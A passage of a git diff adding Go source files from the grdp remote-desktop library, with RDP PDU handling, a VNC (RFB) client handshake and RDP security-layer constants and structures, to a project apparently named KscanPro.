+ RAIL_LEVEL_HANDSHAKE_EX_SUPPORTED |
+ RAIL_LEVEL_DOCKED_LANGBAR_SUPPORTED,
+ },
+ },
+ }
+
+ t.On("close", func() {
+ p.Emit("close")
+ }).On("error", func(err error) {
+ p.Emit("error", err)
+ })
+ return p
+}
+
+func (p *PDULayer) sendPDU(message PDUMessage) {
+ pdu := NewPDU(p.userId, message)
+ p.transport.Write(pdu.serialize())
+}
+
+func (p *PDULayer) sendDataPDU(message DataPDUData) {
+ dataPdu := NewDataPDU(message, p.sharedId)
+ p.sendPDU(dataPdu)
+}
+
+func (p *PDULayer) SetFastPathSender(f core.FastPathSender) {
+ p.fastPathSender = f
+}
+
+type Client struct {
+ *PDULayer
+ clientCoreData *gcc.ClientCoreData
+ remoteAppMode bool
+ enableCliprdr bool
+}
+
+func NewClient(t core.Transport) *Client {
+ c := &Client{
+ PDULayer: NewPDULayer(t),
+ }
+ c.transport.Once("connect", c.connect)
+ return c
+}
+
+func (c *Client) connect(data *gcc.ClientCoreData, userId uint16, channelId uint16) {
+ glog.Debug("pdu connect:", userId, ",", channelId)
+ c.clientCoreData = data
+ c.userId = userId
+ c.channelId = channelId
+ c.transport.Once("data", c.recvDemandActivePDU)
+}
+
+func (c *Client) recvDemandActivePDU(s []byte) {
+ defer func() {
+ if e := recover(); e != nil {
+ err := errors.New(fmt.Sprint("recv demand active pdu error: ", e))
+ glog.Debug(err, e)
+ return
+ }
+ }()
+
+ glog.Debug("PDU recvDemandActivePDU", hex.EncodeToString(s))
+ r := bytes.NewReader(s)
+ pdu, err := readPDU(r)
+ if err != nil {
+ glog.Error(err)
+ return
+ }
+ if pdu.ShareCtrlHeader.PDUType != PDUTYPE_DEMANDACTIVEPDU {
+ glog.Info("PDU ignore message during connection sequence, type is", pdu.ShareCtrlHeader.PDUType)
+ c.transport.Once("data", c.recvDemandActivePDU)
+ return
+ }
+ c.sharedId = pdu.Message.(*DemandActivePDU).SharedId
+ c.demandActivePDU = pdu.Message.(*DemandActivePDU)
+ for _, caps := range pdu.Message.(*DemandActivePDU).CapabilitySets {
+ c.serverCapabilities[caps.Type()] = caps
+ }
+
+ c.sendConfirmActivePDU()
+ c.sendClientFinalizeSynchronizePDU()
+ c.transport.Once("data", c.recvServerSynchronizePDU)
+}
+
+func (c *Client) sendConfirmActivePDU() {
+ glog.Debug("PDU start sendConfirmActivePDU")
+
+ pdu := NewConfirmActivePDU()
+
+ generalCapa := c.clientCapabilities[CAPSTYPE_GENERAL].(*GeneralCapability)
+ generalCapa.OSMajorType = OSMAJORTYPE_WINDOWS
+ generalCapa.OSMinorType = OSMINORTYPE_WINDOWS_NT
+ generalCapa.ExtraFlags = LONG_CREDENTIALS_SUPPORTED | NO_BITMAP_COMPRESSION_HDR | ENC_SALTED_CHECKSUM
+ //if not self._fastPathSender is None:
+ generalCapa.ExtraFlags |= FASTPATH_OUTPUT_SUPPORTED
+
+ bitmapCapa := c.clientCapabilities[CAPSTYPE_BITMAP].(*BitmapCapability)
+ bitmapCapa.PreferredBitsPerPixel = c.clientCoreData.HighColorDepth
+ bitmapCapa.DesktopWidth = c.clientCoreData.DesktopWidth
+ bitmapCapa.DesktopHeight = c.clientCoreData.DesktopHeight
+
+ orderCapa := c.clientCapabilities[CAPSTYPE_ORDER].(*OrderCapability)
+ orderCapa.OrderFlags |= ZEROBOUNDSDELTASSUPPORT
+
+ inputCapa := c.clientCapabilities[CAPSTYPE_INPUT].(*InputCapability)
+ inputCapa.Flags = INPUT_FLAG_SCANCODES | INPUT_FLAG_MOUSEX | INPUT_FLAG_UNICODE
+ inputCapa.KeyboardLayout = c.clientCoreData.KbdLayout
+ inputCapa.KeyboardType = c.clientCoreData.KeyboardType
+ inputCapa.KeyboardSubType = c.clientCoreData.KeyboardSubType
+ inputCapa.KeyboardFunctionKey = c.clientCoreData.KeyboardFnKeys
+ inputCapa.ImeFileName = c.clientCoreData.ImeFileName
+
+ pdu.SharedId = c.sharedId
+ pdu.NumberCapabilities = c.demandActivePDU.NumberCapabilities
+ for _, v := range c.clientCapabilities {
+ glog.Debugf("clientCapabilities: 0x%04x", v.Type())
+ pdu.CapabilitySets = append(pdu.CapabilitySets, v)
+ }
+ if c.remoteAppMode {
+ pdu.CapabilitySets = append(pdu.CapabilitySets, c.serverCapabilities[CAPSTYPE_RAIL])
+ pdu.CapabilitySets = append(pdu.CapabilitySets, c.serverCapabilities[CAPSTYPE_WINDOW])
+ }
+ pdu.LengthSourceDescriptor = c.demandActivePDU.LengthSourceDescriptor
+ pdu.SourceDescriptor = c.demandActivePDU.SourceDescriptor
+ pdu.LengthCombinedCapabilities = c.demandActivePDU.LengthCombinedCapabilities
+
+ c.sendPDU(pdu)
+}
+
+func (c *Client) sendClientFinalizeSynchronizePDU() {
+ glog.Debug("PDU start sendClientFinalizeSynchronizePDU")
+ c.sendDataPDU(NewSynchronizeDataPDU(c.channelId))
+ c.sendDataPDU(&ControlDataPDU{Action: CTRLACTION_COOPERATE})
+ c.sendDataPDU(&ControlDataPDU{Action: CTRLACTION_REQUEST_CONTROL})
+ //c.sendDataPDU(&PersistKeyPDU{BBitMask: 0x03})
+ c.sendDataPDU(&FontListDataPDU{ListFlags: 0x0003, EntrySize: 0x0032})
+}
+
+func (c *Client) recvServerSynchronizePDU(s []byte) {
+ glog.Debug("PDU recvServerSynchronizePDU")
+ r := bytes.NewReader(s)
+ pdu, err := readPDU(r)
+ if err != nil {
+ glog.Error(err)
+ return
+ }
+ dataPdu, ok := pdu.Message.(*DataPDU)
+ if !ok || dataPdu.Header.PDUType2 != PDUTYPE2_SYNCHRONIZE {
+ if ok {
+ glog.Error("recvServerSynchronizePDU ignore datapdu type2", dataPdu.Header.PDUType2)
+ } else {
+ glog.Error("recvServerSynchronizePDU ignore message type", pdu.ShareCtrlHeader.PDUType)
+ }
+ glog.Infof("%+v", dataPdu)
+ c.transport.Once("data", c.recvServerSynchronizePDU)
+ return
+ }
+ c.transport.Once("data", c.recvServerControlCooperatePDU)
+}
+
+func (c *Client) recvServerControlCooperatePDU(s []byte) {
+ glog.Debug("PDU recvServerControlCooperatePDU")
+ r := bytes.NewReader(s)
+ pdu, err := readPDU(r)
+ if err != nil {
+ glog.Error(err)
+ return
+ }
+ dataPdu, ok := pdu.Message.(*DataPDU)
+ if !ok || dataPdu.Header.PDUType2 != PDUTYPE2_CONTROL {
+ if ok {
+ glog.Error("recvServerControlCooperatePDU ignore datapdu type2", dataPdu.Header.PDUType2)
+ } else {
+ glog.Error("recvServerControlCooperatePDU ignore message type", pdu.ShareCtrlHeader.PDUType)
+ }
+ c.transport.Once("data", c.recvServerControlCooperatePDU)
+ return
+ }
+ if dataPdu.Data.(*ControlDataPDU).Action != CTRLACTION_COOPERATE {
+ glog.Error("recvServerControlCooperatePDU ignore action", dataPdu.Data.(*ControlDataPDU).Action)
+ c.transport.Once("data", c.recvServerControlCooperatePDU)
+ return
+ }
+ c.transport.Once("data", c.recvServerControlGrantedPDU)
+}
+
+func (c *Client) recvServerControlGrantedPDU(s []byte) {
+ glog.Debug("PDU recvServerControlGrantedPDU")
+ r := bytes.NewReader(s)
+ pdu, err := readPDU(r)
+ if err != nil {
+ glog.Error(err)
+ return
+ }
+ dataPdu, ok := pdu.Message.(*DataPDU)
+ if !ok || dataPdu.Header.PDUType2 != PDUTYPE2_CONTROL {
+ if ok {
+ glog.Error("recvServerControlGrantedPDU ignore datapdu type2", dataPdu.Header.PDUType2)
+ } else {
+ glog.Error("recvServerControlGrantedPDU ignore message type", pdu.ShareCtrlHeader.PDUType)
+ }
+ c.transport.Once("data", c.recvServerControlGrantedPDU)
+ return
+ }
+ if dataPdu.Data.(*ControlDataPDU).Action != CTRLACTION_GRANTED_CONTROL {
+ glog.Error("recvServerControlGrantedPDU ignore action", dataPdu.Data.(*ControlDataPDU).Action)
+ c.transport.Once("data", c.recvServerControlGrantedPDU)
+ return
+ }
+ c.transport.Once("data", c.recvServerFontMapPDU)
+}
+
+func (c *Client) recvServerFontMapPDU(s []byte) {
+ glog.Debug("PDU recvServerFontMapPDU")
+ r := bytes.NewReader(s)
+ pdu, err := readPDU(r)
+ if err != nil {
+ glog.Error(err)
+ return
+ }
+ dataPdu, ok := pdu.Message.(*DataPDU)
+ if !ok || dataPdu.Header.PDUType2 != PDUTYPE2_FONTMAP {
+ if ok {
+ glog.Error("recvServerFontMapPDU ignore datapdu type2", dataPdu.Header.PDUType2)
+ } else {
+ glog.Error("recvServerFontMapPDU ignore message type", pdu.ShareCtrlHeader.PDUType)
+ }
+ return
+ }
+ c.transport.On("data", c.recvPDU)
+ c.Emit("ready")
+}
+
+func (c *Client) recvPDU(s []byte) {
+ glog.Debug("PDU recvPDU", hex.EncodeToString(s))
+ r := bytes.NewReader(s)
+ if r.Len() > 0 {
+ p, err := readPDU(r)
+ if err != nil {
+ glog.Error(err)
+ return
+ }
+ if p.ShareCtrlHeader.PDUType == PDUTYPE_DEACTIVATEALLPDU {
+ c.transport.On("data", c.recvDemandActivePDU)
+ }
+ }
+}
+
+func (c *Client) RecvFastPath(secFlag byte, s []byte) {
+ //glog.Debug("PDU RecvFastPath", hex.EncodeToString(s))
+ glog.Debug("PDU RecvFastPath", secFlag&0x2 != 0)
+ r := bytes.NewReader(s)
+ for r.Len() > 0 {
+ p, err := readFastPathUpdatePDU(r)
+ if err != nil {
+ glog.Debug("readFastPathUpdatePDU:", err)
+ //continue
+ return
+ }
+ if p.UpdateHeader == FASTPATH_UPDATETYPE_BITMAP {
+ c.Emit("update", p.Data.(*FastPathBitmapUpdateDataPDU).Rectangles)
+ }
+ }
+}
+
+type InputEventsInterface interface {
+ Serialize() []byte
+}
+
+func (c *Client) SendInputEvents(msgType uint16, events []InputEventsInterface) {
+ pdu := &ClientInputEventPDU{}
+ pdu.NumEvents = uint16(len(events))
+ pdu.SlowPathInputEvents = make([]SlowPathInputEvent, 0, pdu.NumEvents)
+ for _, in := range events {
+ seria := in.Serialize()
+ s := SlowPathInputEvent{0, msgType, len(seria), seria}
+ pdu.SlowPathInputEvents = append(pdu.SlowPathInputEvents, s)
+ }
+
+ c.sendDataPDU(pdu)
+}
diff --git a/lib/grdp/protocol/rfb/rfb.go b/lib/grdp/protocol/rfb/rfb.go
new file mode 100644
index 0000000..f8cb30c
--- /dev/null
+++ b/lib/grdp/protocol/rfb/rfb.go
@@ -0,0 +1,462 @@
+// rfb.go
+package rfb
+
+import (
+ "bytes"
+ "crypto/des"
+ "encoding/hex"
+ "fmt"
+ "io"
+ "log"
+ "net"
+
+ "github.com/lunixbochs/struc"
+
+ "KscanPro/lib/grdp/core"
+ "KscanPro/lib/grdp/emission"
+ "KscanPro/lib/grdp/glog"
+)
+
+// ProtocolVersion
+const (
+ RFB003003 = "RFB 003.003\n"
+ RFB003007 = "RFB 003.007\n"
+ RFB003008 = "RFB 003.008\n"
+)
+
+// SecurityType
+const (
+ SEC_INVALID uint8 = 0
+ SEC_NONE uint8 = 1
+ SEC_VNC uint8 = 2
+)
+
+type RFBConn struct {
+ emission.Emitter
+ // The Socket connection to the client
+ Conn net.Conn
+ s *ServerInit
+ NbRect uint16
+ BitRect *BitRect
+}
+
+func NewRFBConn(s net.Conn) *RFBConn {
+ fc := &RFBConn{
+ Emitter: *emission.NewEmitter(),
+ Conn: s,
+ BitRect: new(BitRect),
+ }
+ core.StartReadBytes(12, fc, fc.recvProtocolVersion)
+
+ return fc
+}
+func (fc *RFBConn) Read(b []byte) (n int, err error) {
+ return fc.Conn.Read(b)
+}
+
+func (fc *RFBConn) Write(data []byte) (n int, err error) {
+ buff := &bytes.Buffer{}
+ buff.Write(data)
+ return fc.Conn.Write(buff.Bytes())
+}
+func (fc *RFBConn) Close() error {
+ return fc.Conn.Close()
+}
+func (fc *RFBConn) recvProtocolVersion(s []byte, err error) {
+ version := string(s)
+ glog.Debug("RFBConn recvProtocolVersion", version, err)
+ if err != nil {
+ fc.Emit("error", err)
+ return
+ }
+ fc.Emit("data", version)
+
+ if version == RFB003003 {
+ fc.Emit("error", fmt.Errorf("%s", "Not Support RFB003003"))
+ return
+ //core.StartReadBytes(4, fc, fc.recvSecurityServer)
+ } else {
+ core.StartReadBytes(1, fc, fc.checkSecurityList)
+ }
+}
+func (fc *RFBConn) checkSecurityList(s []byte, err error) {
+ r := bytes.NewReader(s)
+ result, _ := core.ReadUInt8(r)
+ glog.Debug("RFBConn recvSecurityList", result, err)
+
+ core.StartReadBytes(int(result), fc, fc.recvSecurityList)
+}
+func (fc *RFBConn) recvSecurityList(s []byte, err error) {
+ r := bytes.NewReader(s)
+ secLevel := SEC_VNC
+ for r.Len() > 0 {
+ result, _ := core.ReadUInt8(r)
+ if result == SEC_NONE || result == SEC_VNC {
+ secLevel = result
+ break
+ }
+ }
+
+ glog.Debug("RFBConn recvSecurityList", secLevel, err)
+ buff := &bytes.Buffer{}
+ core.WriteUInt8(secLevel, buff)
+ fc.Write(buff.Bytes())
+ if secLevel == SEC_VNC {
+ core.StartReadBytes(16, fc, fc.recvVNCChallenge)
+ } else {
+ core.StartReadBytes(4, fc, fc.recvSecurityResult)
+ }
+
+}
+
+func fixDesKeyByte(val byte) byte {
+ var newval byte = 0
+ for i := 0; i < 8; i++ {
+ newval <<= 1
+ newval += (val & 1)
+ val >>= 1
+ }
+ return newval
+}
+
+// fixDesKey will make sure that exactly 8 bytes is used either by truncating or padding with nulls
+// The bytes are then bit mirrored and returned
+func fixDesKey(key []byte) []byte {
+ tmp := key
+ buf := make([]byte, 8)
+ if len(tmp) <= 8 {
+ copy(buf, tmp)
+ } else {
+ copy(buf, tmp[:8])
+ }
+ for i := 0; i < 8; i++ {
+ buf[i] = fixDesKeyByte(buf[i])
+ }
+ return buf
+}
+
+func (fc *RFBConn) recvVNCChallenge(s []byte, err error) {
+ glog.Debug("RFBConn recvVNCChallenge", hex.EncodeToString(s), len(s), err)
+ key := core.Random(8)
+ bk, err := des.NewCipher(fixDesKey(key))
+ if err != nil {
+ log.Printf("Error generating authentication cipher: %s\n", err.Error())
+ return
+ }
+ result := make([]byte, 16)
+ bk.Encrypt(result, s) //Encrypt first 8 bytes
+ bk.Encrypt(result[8:], s[8:])
+ if err != nil {
+ fmt.Println(err)
+ }
+ fmt.Println(string(result))
+ fc.Write(result)
+ core.StartReadBytes(4, fc, fc.recvSecurityResult)
+}
+func (fc *RFBConn) recvSecurityResult(s []byte, err error) {
+ r := bytes.NewReader(s)
+ result, _ := core.ReadUInt32BE(r)
+ glog.Debug("RFBConn recvSecurityResult", result, err)
+ if result == 1 {
+ fc.Emit("error", fmt.Errorf("%s", "Authentification failed"))
+ return
+ }
+ buff := &bytes.Buffer{}
+ core.WriteUInt8(0, buff) //share
+ fc.Write(buff.Bytes())
+ core.StartReadBytes(20, fc, fc.recvServerInit)
+}
+
+type ServerInit struct {
+ Width uint16 `struc:"little"`
+ Height uint16 `struc:"little"`
+ PixelFormat *PixelFormat `struc:"little"`
+}
+
+func (fc *RFBConn) recvServerInit(s []byte, err error) {
+ glog.Debug("RFBConn recvServerInit", len(s), err)
+ r := bytes.NewReader(s)
+ si := &ServerInit{}
+ si.Width, err = core.ReadUint16BE(r)
+ si.Height, err = core.ReadUint16BE(r)
+ si.PixelFormat = ReadPixelFormat(r)
+ glog.Infof("serverInit:%+v, %+v", si, si.PixelFormat)
+ fc.s = si
+ fc.BitRect.Pf = si.PixelFormat
+ core.StartReadBytes(4, fc, fc.checkServerName)
+}
+func (fc *RFBConn) checkServerName(s []byte, err error) {
+ r := bytes.NewReader(s)
+ result, _ := core.ReadUInt32BE(r)
+ glog.Debug("RFBConn recvSecurityList", result, err)
+
+ core.StartReadBytes(int(result), fc, fc.recvServerName)
+}
+func (fc *RFBConn) recvServerName(s []byte, err error) {
+ glog.Debug("RFBConn recvServerName", string(s), err)
+ //fc.sendPixelFormat()
+ fc.sendSetEncoding()
+ fc.sendFramebufferUpdateRequest(0, 0, 0, fc.s.Width, fc.s.Height)
+
+ fc.Emit("ready")
+ core.StartReadBytes(1, fc, fc.recvServerOrder)
+}
+
+func (fc *RFBConn) sendPixelFormat() {
+ glog.Debug("sendPixelFormat")
+ buff := &bytes.Buffer{}
+ core.WriteUInt8(0, buff)
+ core.WriteUInt16BE(0, buff)
+ core.WriteUInt8(0, buff)
+ err := struc.Pack(buff, NewPixelFormat())
+ if err != nil {
+ fc.Emit("error", err)
+ return
+ }
+ fc.Write(buff.Bytes())
+}
+func (fc *RFBConn) sendSetEncoding() {
+ glog.Debug("sendSetEncoding")
+ buff := &bytes.Buffer{}
+ core.WriteUInt8(2, buff)
+ core.WriteUInt8(0, buff)
+ core.WriteUInt16BE(1, buff)
+ core.WriteUInt32BE(0, buff)
+ fc.Write(buff.Bytes())
+}
+
+type FrameBufferUpdateRequest struct {
+ Incremental uint8
+ X uint16
+ Y uint16
+ Width uint16
+ Height uint16
+}
+
+func (fc *RFBConn) sendFramebufferUpdateRequest(Incremental uint8,
+ X uint16,
+ Y uint16,
+ Width uint16,
+ Height uint16) {
+ glog.Debug("sendFramebufferUpdateRequest")
+ buff := &bytes.Buffer{}
+ core.WriteUInt8(3, buff)
+ core.WriteUInt8(Incremental, buff)
+ core.WriteUInt16BE(X, buff)
+ core.WriteUInt16BE(Y, buff)
+ core.WriteUInt16BE(Width, buff)
+ core.WriteUInt16BE(Height, buff)
+ fc.Write(buff.Bytes())
+}
+func (fc *RFBConn) recvServerOrder(s []byte, err error) {
+ glog.Debug("RFBConn recvServerOrder", hex.EncodeToString(s), err)
+ r := bytes.NewReader(s)
+ packetType, _ := core.ReadUInt8(r)
+ switch packetType {
+ case 0:
+ core.StartReadBytes(3, fc, fc.recvFrameBufferUpdateHeader)
+ case 2:
+ //TODO
+ case 3:
+ core.StartReadBytes(7, fc, fc.recvServerCutTextHeader)
+ default:
+ glog.Errorf("Unknown message type %s", packetType)
+ }
+
+}
+
+type BitRect struct {
+ Rects []Rectangles
+ Pf *PixelFormat
+}
+
+type Rectangles struct {
+ Rect *Rectangle
+ Data []byte
+}
+
+func (fc *RFBConn) recvFrameBufferUpdateHeader(s []byte, err error) {
+ glog.Debug("RFBConn recvFrameBufferUpdateHeader", hex.EncodeToString(s), err)
+ r := bytes.NewReader(s)
+ core.ReadUInt8(r)
+ NbRect, _ := core.ReadUint16BE(r)
+ fc.NbRect = NbRect
+ fc.BitRect.Rects = make([]Rectangles, fc.NbRect)
+ if NbRect == 0 {
+ return
+ }
+ glog.Info("NbRect:", NbRect)
+ core.StartReadBytes(12, fc, fc.recvRectHeader)
+}
+
+type Rectangle struct {
+ X uint16 `struc:"little"`
+ Y uint16 `struc:"little"`
+ Width uint16 `struc:"little"`
+ Height uint16 `struc:"little"`
+ Encoding uint32 `struc:"little"`
+}
+
+func (fc *RFBConn) recvRectHeader(s []byte, err error) {
+ glog.Debug("RFBConn recvRectHeader", hex.EncodeToString(s), err)
+ r := bytes.NewReader(s)
+ x, err := core.ReadUint16BE(r)
+ y, err := core.ReadUint16BE(r)
+ w, err := core.ReadUint16BE(r)
+ h, err := core.ReadUint16BE(r)
+ e, err := core.ReadUInt32BE(r)
+ rect := &Rectangle{x, y, w, h, e}
+
+ fc.BitRect.Rects[fc.NbRect-1].Rect = rect
+ glog.Infof("rect:%+v, len=%d", rect, int(rect.Width)*int(rect.Height)*4)
+ core.StartReadBytes(int(rect.Width)*int(rect.Height)*4, fc, fc.recvRectBody)
+}
+func (fc *RFBConn) recvRectBody(s []byte, err error) {
+ glog.Debug("RFBConn recvRectBody", hex.EncodeToString(s), err)
+ fc.BitRect.Rects[fc.NbRect-1].Data = s
+ fc.NbRect--
+ glog.Info("fc.NbRect:", fc.NbRect)
+ if fc.NbRect == 0 {
+ fc.Emit("update", fc.BitRect)
+ fc.sendFramebufferUpdateRequest(1, 0, 0, fc.s.Width, fc.s.Height)
+ core.StartReadBytes(1, fc, fc.recvServerOrder)
+ } else {
+ core.StartReadBytes(12, fc, fc.recvRectHeader)
+ }
+}
+
+type ServerCutTextHeader struct {
+ Padding [3]byte `struc:"little"`
+ Size uint32 `struc:"little"`
+}
+
+func (fc *RFBConn) recvServerCutTextHeader(s []byte, err error) {
+ glog.Debug("RFBConn recvServerCutTextHeader", string(s), err)
+ r := bytes.NewReader(s)
+ header := &ServerCutTextHeader{}
+ err = struc.Unpack(r, header)
+ if err != nil {
+ fc.Emit("error", err)
+ return
+ }
+
+ core.StartReadBytes(int(header.Size), fc, fc.recvServerCutTextBody)
+}
+func (fc *RFBConn) recvServerCutTextBody(s []byte, err error) {
+ glog.Debug("RFBConn recvServerCutTextBody", string(s), err)
+ fc.Emit("CutText", s)
+ core.StartReadBytes(1, fc, fc.recvServerOrder)
+}
+
+type PixelFormat struct {
+ BitsPerPixel uint8 `struc:"little"`
+ Depth uint8 `struc:"little"`
+ BigEndianFlag uint8 `struc:"little"`
+ TrueColorFlag uint8 `struc:"little"`
+ RedMax uint16 `struc:"little"`
+ GreenMax uint16 `struc:"little"`
+ BlueMax uint16 `struc:"little"`
+ RedShift uint8 `struc:"little"`
+ GreenShift uint8 `struc:"little"`
+ BlueShift uint8 `struc:"little"`
+ Padding uint16 `struc:"little"`
+ Padding1 uint8 `struc:"little"`
+}
+
+func ReadPixelFormat(r io.Reader) *PixelFormat {
+ p := NewPixelFormat()
+ p.BitsPerPixel, _ = core.ReadUInt8(r)
+ p.Depth, _ = core.ReadUInt8(r)
+ p.BigEndianFlag, _ = core.ReadUInt8(r)
+ p.TrueColorFlag, _ = core.ReadUInt8(r)
+ p.RedMax, _ = core.ReadUint16BE(r)
+ p.GreenMax, _ = core.ReadUint16BE(r)
+ p.BlueMax, _ = core.ReadUint16BE(r)
+ p.RedShift, _ = core.ReadUInt8(r)
+ p.GreenShift, _ = core.ReadUInt8(r)
+ p.BlueShift, _ = core.ReadUInt8(r)
+ p.Padding, _ = core.ReadUint16BE(r)
+ p.Padding1, _ = core.ReadUInt8(r)
+
+ return p
+}
+func NewPixelFormat() *PixelFormat {
+ return &PixelFormat{
+ 32, 24, 0, 1, 65280, 65280, 65280, 16, 8, 0, 0, 0,
+ }
+}
+
+type RFB struct {
+ core.Transport
+ Version string
+ SecurityLevel uint8
+ ServerName string
+ PixelFormat *PixelFormat
+ NbRect int
+ CurrentRect *Rectangle
+ Password string
+}
+
+func NewRFB(t core.Transport) *RFB {
+ fb := &RFB{t, RFB003008, SEC_INVALID, "", NewPixelFormat(), 0, &Rectangle{}, ""}
+
+ fb.Once("data", fb.recvProtocolVersion)
+
+ return fb
+}
+
+func (fb *RFB) recvProtocolVersion(version string) {
+ if version != RFB003003 && version != RFB003007 && version != RFB003008 {
+ version = RFB003008
+ }
+ glog.Infof("version:%s", version)
+ b := &bytes.Buffer{}
+ b.WriteString(version)
+ fb.Write(b.Bytes())
+}
+
+type KeyEvent struct {
+ DownFlag uint8 `struc:"little"`
+ Padding uint16 `struc:"little"`
+ Key uint32 `struc:"little"`
+}
+
+func (fb *RFB) SendKeyEvent(k *KeyEvent) {
+ b := &bytes.Buffer{}
+ core.WriteUInt8(4, b)
+ core.WriteUInt8(k.DownFlag, b)
+ core.WriteUInt16BE(k.Padding, b)
+ core.WriteUInt32BE(k.Key, b)
+ fmt.Println(b.Bytes())
+ fb.Write(b.Bytes())
+}
+
+type PointerEvent struct {
+ Mask uint8 `struc:"little"`
+ XPos uint16 `struc:"little"`
+ YPos uint16 `struc:"little"`
+}
+
+func (fb *RFB) SendPointEvent(p *PointerEvent) {
+ b := &bytes.Buffer{}
+ core.WriteUInt8(5, b)
+ core.WriteUInt8(p.Mask, b)
+ core.WriteUInt16BE(p.XPos, b)
+ core.WriteUInt16BE(p.YPos, b)
+ fmt.Println(b.Bytes())
+ fb.Write(b.Bytes())
+}
+
+type ClientCutText struct {
+ Padding uint16 `struc:"little"`
+ Padding1 uint8 `struc:"little"`
+ Size uint32 `struc:"little"`
+ Message string `struc:"little"`
+}
+
+func (fb *RFB) SendClientCutText(t *ClientCutText) {
+ b := &bytes.Buffer{}
+ core.WriteUInt8(6, b)
+ struc.Pack(b, t)
+ fb.Write(b.Bytes())
+}
diff --git a/lib/grdp/protocol/sec/sec.go b/lib/grdp/protocol/sec/sec.go
new file mode 100644
index 0000000..41691f5
--- /dev/null
+++ b/lib/grdp/protocol/sec/sec.go
@@ -0,0 +1,882 @@
+package sec
+
+import (
+ "bytes"
+ "crypto/md5"
+ "crypto/rc4"
+ "crypto/sha1"
+ "encoding/hex"
+ "errors"
+ "fmt"
+ "io"
+ "math/big"
+ "unicode/utf16"
+
+ "github.com/lunixbochs/struc"
+
+ "KscanPro/lib/grdp/protocol/nla"
+
+ "KscanPro/lib/grdp/core"
+ "KscanPro/lib/grdp/emission"
+ "KscanPro/lib/grdp/glog"
+ "KscanPro/lib/grdp/protocol/lic"
+ "KscanPro/lib/grdp/protocol/t125"
+ "KscanPro/lib/grdp/protocol/t125/gcc"
+)
+
+/**
+ * SecurityFlag
+ * @see http://msdn.microsoft.com/en-us/library/cc240579.aspx
+ */
+const (
+ EXCHANGE_PKT uint16 = 0x0001
+ TRANSPORT_REQ = 0x0002
+ TRANSPORT_RSP = 0x0004
+ ENCRYPT = 0x0008
+ RESET_SEQNO = 0x0010
+ IGNORE_SEQNO = 0x0020
+ INFO_PKT = 0x0040
+ LICENSE_PKT = 0x0080
+ LICENSE_ENCRYPT_CS = 0x0200
+ LICENSE_ENCRYPT_SC = 0x0200
+ REDIRECTION_PKT = 0x0400
+ SECURE_CHECKSUM = 0x0800
+ AUTODETECT_REQ = 0x1000
+ AUTODETECT_RSP = 0x2000
+ HEARTBEAT = 0x4000
+ FLAGSHI_VALID = 0x8000
+)
+
+const (
+ INFO_MOUSE uint32 = 0x00000001
+ INFO_DISABLECTRLALTDEL = 0x00000002
+ INFO_AUTOLOGON = 0x00000008
+ INFO_UNICODE = 0x00000010
+ INFO_MAXIMIZESHELL = 0x00000020
+ INFO_LOGONNOTIFY = 0x00000040
+ INFO_COMPRESSION = 0x00000080
+ INFO_ENABLEWINDOWSKEY = 0x00000100
+ INFO_REMOTECONSOLEAUDIO = 0x00002000
+ INFO_FORCE_ENCRYPTED_CS_PDU = 0x00004000
+ INFO_RAIL = 0x00008000
+ INFO_LOGONERRORS = 0x00010000
+ INFO_MOUSE_HAS_WHEEL = 0x00020000
+ INFO_PASSWORD_IS_SC_PIN = 0x00040000
+ INFO_NOAUDIOPLAYBACK = 0x00080000
+ INFO_USING_SAVED_CREDS = 0x00100000
+ INFO_AUDIOCAPTURE = 0x00200000
+ INFO_VIDEO_DISABLE = 0x00400000
+ INFO_CompressionTypeMask = 0x00001E00
+)
+
+const (
+ AF_INET uint16 = 0x00002
+ AF_INET6 = 0x0017
+)
+
+const (
+ PERF_DISABLE_WALLPAPER uint32 = 0x00000001
+ PERF_DISABLE_FULLWINDOWDRAG = 0x00000002
+ PERF_DISABLE_MENUANIMATIONS = 0x00000004
+ PERF_DISABLE_THEMING = 0x00000008
+ PERF_DISABLE_CURSOR_SHADOW = 0x00000020
+ PERF_DISABLE_CURSORSETTINGS = 0x00000040
+ PERF_ENABLE_FONT_SMOOTHING = 0x00000080
+ PERF_ENABLE_DESKTOP_COMPOSITION = 0x00000100
+)
+
+const (
+ FASTPATH_OUTPUT_SECURE_CHECKSUM = 0x1
+ FASTPATH_OUTPUT_ENCRYPTED = 0x2
+)
+
+type ClientAutoReconnect struct {
+ CbAutoReconnectLen uint16
+ CbLen uint32
+ Version uint32
+ LogonId uint32
+ SecVerifier []byte
+}
+
+func NewClientAutoReconnect(id uint32, random []byte) *ClientAutoReconnect {
+ return &ClientAutoReconnect{
+ CbAutoReconnectLen: 28,
+ CbLen: 28,
+ Version: 1,
+ LogonId: id,
+ SecVerifier: nla.HMAC_MD5(random, random),
+ }
+}
+
+type RDPExtendedInfo struct {
+ ClientAddressFamily uint16 `struc:"little"`
+ CbClientAddress uint16 `struc:"little,sizeof=ClientAddress"`
+ ClientAddress []byte `struc:"[]byte"`
+ CbClientDir uint16 `struc:"little,sizeof=ClientDir"`
+ ClientDir []byte `struc:"[]byte"`
+ ClientTimeZone []byte `struc:"[172]byte"`
+ ClientSessionId uint32 `struc:"litttle"`
+ PerformanceFlags uint32 `struc:"little"`
+ AutoReconnect *ClientAutoReconnect
+}
+
+func NewExtendedInfo(auto *ClientAutoReconnect) *RDPExtendedInfo {
+ return &RDPExtendedInfo{
+ ClientAddressFamily: AF_INET,
+ ClientAddress: []byte{0, 0},
+ ClientDir: []byte{0, 0},
+ ClientTimeZone: make([]byte, 172),
+ ClientSessionId: 0,
+ AutoReconnect: auto,
+ }
+}
+
+func (o *RDPExtendedInfo) Serialize() []byte {
+ buff := &bytes.Buffer{}
+ core.WriteUInt16LE(o.ClientAddressFamily, buff)
+ core.WriteUInt16LE(uint16(len(o.ClientAddress)), buff)
+ core.WriteBytes(o.ClientAddress, buff)
+ core.WriteUInt16LE(uint16(len(o.ClientDir)), buff)
+ core.WriteBytes(o.ClientDir, buff)
+ core.WriteBytes(o.ClientTimeZone, buff)
+ core.WriteUInt32LE(o.ClientSessionId, buff)
+ core.WriteUInt32LE(o.PerformanceFlags, buff)
+
+ if o.AutoReconnect != nil {
+ core.WriteUInt16LE(o.AutoReconnect.CbAutoReconnectLen, buff)
+ core.WriteUInt32LE(o.AutoReconnect.CbLen, buff)
+ core.WriteUInt32LE(o.AutoReconnect.Version, buff)
+ core.WriteUInt32LE(o.AutoReconnect.LogonId, buff)
+ core.WriteBytes(o.AutoReconnect.SecVerifier, buff)
+ }
+
+ return buff.Bytes()
+}
+
+type RDPInfo struct {
+ CodePage uint32
+ Flag uint32
+ CbDomain uint16
+ CbUserName uint16
+ CbPassword uint16
